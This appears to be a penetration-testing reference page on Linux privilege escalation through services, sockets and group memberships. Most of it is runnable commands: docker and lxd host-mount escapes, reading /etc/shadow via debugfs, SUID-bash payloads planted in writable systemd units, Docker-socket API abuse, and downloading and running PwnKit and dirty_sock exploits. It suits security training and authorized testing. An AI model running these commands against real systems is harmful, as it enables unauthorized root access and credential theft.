PrivEsc - Services & Sockets

Sections PrivEsc - Services & Sockets

09 PrivEsc - Services & Sockets

Services running as root, sockets you can talk to, group memberships that grant root access.

i. Enumerate

Services running as root:

ps -eo user,pid,cmd | awk '$1=="root"' | sort -u
systemctl list-units --type=service --state=running

Internal listening sockets, often have weaker auth:

ss -tlnp | grep '127.0.0.1\|::1'
ss -xlnp                                   ## unix domain sockets
ls -la /var/run/*.sock /tmp/*.sock /run/*.sock 2>/dev/null

Groups you belong to:

id
## Look for: docker, lxd, lxc, disk, video, adm, sudo, wheel, sys

ii. Group-based privesc

docker group, instant root, you don’t need sudo:

docker run -v /:/host -it alpine chroot /host bash
## Or just for shell:
docker run --rm -it -v /:/mnt --privileged alpine chroot /mnt

lxd / lxc group, full root via container:

## On attacker, build minimal alpine image:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && ./build-alpine
## Transfer alpine-v*.tar.gz to target
## On target:
lxc image import alpine-*.tar.gz --alias myimg
lxc init myimg pwn -c security.privileged=true
lxc config device add pwn host disk source=/ path=/mnt/host recursive=true
lxc start pwn
lxc exec pwn /bin/sh
## You're root inside, /mnt/host is the real /

disk group, read /dev/sda directly = read /etc/shadow:

debugfs /dev/sda1
debugfs:  cat /etc/shadow

adm group, read all system logs, may catch credentials in logs:

ls -la /var/log
grep -RiE 'pass|cred|token' /var/log/ 2>/dev/null

video group, read framebuffer, can capture console screenshots if a root user is at the physical console (unusual on servers but watch for it on workstations).

sudo / wheel group, sudo is allowed but needs a password unless NOPASSWD set, see 06 PrivEsc - SUID & Sudo .

iii. Writable systemd unit

A service runs as root and the unit file is writable:

find /etc/systemd /lib/systemd /usr/lib/systemd -type f -writable 2>/dev/null
## or check specific units:
grep -RH 'ExecStart' /etc/systemd/system/ 2>/dev/null | head

If writable, change ExecStart and restart:

sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "chmod +s /bin/bash"|' /etc/systemd/system/x.service
systemctl daemon-reload
systemctl restart x.service                 ## may need sudo, or wait for reboot
/bin/bash -p

If you can’t restart the service, look for one that auto-restarts or runs on a timer.

iv. Writable service binary

The unit’s ExecStart points to a binary you can overwrite:

grep -RH 'ExecStart' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | awk -F= '{print $2}' | awk '{print $1}' | sort -u > /tmp/svc-bins
while read b; do [ -w "$b" ] && echo "WRITABLE: $b"; done < /tmp/svc-bins

If yes, replace it:

cp /bin/bash /tmp/orig.bin                  ## backup the original first
cat > /usr/local/bin/svc <<'EOF'
#!/bin/bash
chmod +s /bin/bash
exec /tmp/orig.bin "$@"
EOF

v. D-Bus services

Talking to a privileged D-Bus service often skips PolicyKit checks if misconfigured:

busctl list                                 ## list services
busctl introspect org.freedesktop.systemd1 /org/freedesktop/systemd1
## Send a method call:
busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartUnit ss "x.service" "replace"

vi. Polkit / pkexec PwnKit (CVE-2021-4034)

Affects almost every Linux from 2009 to Jan 2022:

## Check version
pkexec --version
## Exploit (no auth needed)
git clone https://github.com/ly4k/PwnKit
cd PwnKit && make && ./PwnKit
## Or the famous one-binary version
curl -sL https://github.com/arthepsy/CVE-2021-4034/raw/main/cve-2021-4034-poc.c -o p.c
gcc p.c -o p && ./p

vii. Unix domain sockets

A privileged service listening on a Unix socket, the socket is world-writable, the protocol is weak:

ls -la /var/run/*.sock
## Talk to it with socat or nc -U:
nc -U /var/run/somedaemon.sock
socat - UNIX-CONNECT:/var/run/somedaemon.sock

Common abusable sockets:

  • /var/run/docker.sock -> Docker API, instant root if you can read it
  • /run/snapd-snap.socket -> Snap, see dirty_sock (CVE-2019-7304)
  • Custom app sockets, fuzz the protocol

Docker socket without docker CLI:

curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start

viii. Internal services on localhost

Services bound to 127.0.0.1 are often less hardened. Foothold patterns:

ss -tlnp | grep '127.0.0.1'

Tunnel them to your attacker box, see Pivoting -> SSH local forward:

ssh -L 6379:127.0.0.1:6379 user@target   ## Redis on the loopback

Common loopback services worth poking:

  • Redis with no auth -> 02 Service Enum -> Redis SSH key trick
  • Memcached -> data exfil, sometimes auth bypass
  • MongoDB on localhost
  • Internal admin panels on weird ports
  • App debug ports (Tomcat 8005 shutdown, Node debugger 9229)

Node debugger on localhost = RCE:

ssh -L 9229:127.0.0.1:9229 user@target
## On attacker:
chrome://inspect    ## attach to the node process, eval arbitrary JS

ix. Snap dirty_sock (CVE-2019-7304)

Snap < 2.37.1 on Ubuntu:

snap version
## If vuln:
git clone https://github.com/initstring/dirty_sock
python3 dirty_sock/dirty_sockv2.py

x. Cleanup

Restore any modified unit files, kill containers you spawned:

docker ps                                   ## containers from your privesc
docker rm -f <id>
lxc list && lxc delete pwn --force
## Restore the original service binary:
mv /tmp/orig.bin /usr/local/bin/svc
systemctl daemon-reload